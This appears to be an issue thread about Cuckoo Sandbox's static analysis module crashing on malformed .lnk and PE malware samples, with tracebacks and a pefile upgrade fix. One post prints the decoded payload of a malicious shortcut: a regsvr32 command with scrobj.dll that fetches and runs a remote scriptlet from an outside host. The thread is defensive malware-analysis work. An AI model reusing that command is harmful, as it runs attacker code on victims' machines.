Cuckoo: Failed to run the processing module "Static"

[Nwinternights]

Hi all,
I came across to this sample cc20319be8c27aae40f7489b75dfb9a1but Static module keeps crashing.
It's a .lnk file
here's the output:
Failed to run the processing module "Static" for task 62:
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/cuckoo/core/plugins.py", line 240, in process
data = current.run()
File "/usr/local/lib/python2.7/dist-packages/cuckoo/processing/static.py", line 1092, in run
static["lnk"] = LnkShortcut(f.file_path).run()
File "/usr/local/lib/python2.7/dist-packages/cuckoo/processing/static.py", line 808, in run
ret["net_share"] = self.read_stringz(offset + off.net_volume + 20)
File "/usr/local/lib/python2.7/dist-packages/cuckoo/processing/static.py", line 760, in read_stringz
return self.buf[offset:self.buf.index("x00", offset)]
ValueError: substring not found

svc_crash.txt
I attach also the stacktrace of a service that has crashed.
tks for support

[jbremer]

Thanks! Is the service initiated by the same .lnk file?

[Nwinternights]

Yes , same .lnk file.

[jbremer]

Hm, interesting, the .lnk seems malformed. Will have to do some more research :)

[Nwinternights]

I think its a sort of obfuscation.
Using 010 editor I exported the code in hex , then using hex-to-bin i got this:
L
�F�
9
P�O� �:i�+00�/C:\R1Windows��WindowsV1system32��system32b2regsvr32.exe��*regsvr32.exe

/u /s /i:https://loptop.pcanywhere.net/2?q3hESixvj scrobj.dll�%�

   �wN��]N�D.��Q����  ��1SPS��XF�L8C���&�m�q/S-1-5-21-2462724269-1749817197-1598572483-1000

[Nwinternights]

opss...i didn't notice that cuckoo has already extrcted the strings :+1:

[Nwinternights]

crashSrv.txt
@jbremer I got another sample (lnk) that raises a different error:
6767ded4c3cd34f20d855d2b50a81db3
2017-08-04 11:50:40,227 [cuckoo.processing.static] ERROR: Magic number does not match
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/cuckoo/processing/static.py", line 838, in run
self.elf = ELFFile(open(self.file_path, "rb"))
File "/usr/local/lib/python2.7/dist-packages/elftools/elf/elffile.py", line 61, in __init__
self._identify_file()
File "/usr/local/lib/python2.7/dist-packages/elftools/elf/elffile.py", line 229, in _identify_file
elf_assert(magic == b'x7fELF', 'Magic number does not match')
File "/usr/local/lib/python2.7/dist-packages/elftools/common/utils.py", line 69, in elf_assert
_assert_with_exception(cond, msg, ELFError)
File "/usr/local/lib/python2.7/dist-packages/elftools/common/utils.py", line 101, in _assert_with_exception
raise exception_type(msg)
ELFError: Magic number does not match

[tUn4]

Hi there,
i have a sample that raises same error but a differenct cause. Probably it is a bug in pefile module.
MD5 hash: f9601665b4811d98ab7ac17a78314ed8

2017-08-09 12:28:07,979 [cuckoo.core.plugins] ERROR: Failed to run the processing module "Static" for task #3209:
Traceback (most recent call last):
File "/home/cuckoo/cuckoo/lib/python2.7/site-packages/Cuckoo-2.0.3-py2.7.egg/cuckoo/core/plugins.py", line 240, in process
data = current.run()
File "/home/cuckoo/cuckoo/lib/python2.7/site-packages/Cuckoo-2.0.3-py2.7.egg/cuckoo/processing/static.py", line 784, in run
static.update(PortableExecutable(f.file_path).run())
File "/home/cuckoo/cuckoo/lib/python2.7/site-packages/Cuckoo-2.0.3-py2.7.egg/cuckoo/processing/static.py", line 291, in run
self.pe = pefile.PE(self.file_path)
File "build/bdist.linux-x86_64/egg/pefile.py", line 1759, in __init__
self.__parse__(name, data, fast_load)
File "build/bdist.linux-x86_64/egg/pefile.py", line 2091, in __parse__
self.parse_data_directories()
File "build/bdist.linux-x86_64/egg/pefile.py", line 2461, in parse_data_directories
value = entry1
File "build/bdist.linux-x86_64/egg/pefile.py", line 3688, in parse_import_directory
max_length = max_len)
File "build/bdist.linux-x86_64/egg/pefile.py", line 3752, in parse_imports
ilt = self.get_import_table(original_first_thunk, max_length)
File "build/bdist.linux-x86_64/egg/pefile.py", line 3935, in get_import_table
if thunk_data.AddressOfData >= start_rva and thunk_data.AddressOfData <= rva:
AttributeError: 'NoneType' object has no attribute 'AddressOfData'

[jbremer]

@tUn4 I can reproduce that issue indeed, although it needs to be resolved upstream in the pefile package.. Will think about it.

[jbremer]

It seems pefile is back in active development & this issue has been resolved in the latest version. We have to do some more testing though, before merging in the latest version.

[Nwinternights]

I confirm that with latest pefile I didn't get that error. analysis on f945184dd63f66dc855700428ddd1599 .
regards

[qux-bbb]

Perhaps it's time to update to the latest version, which does resolve the issue.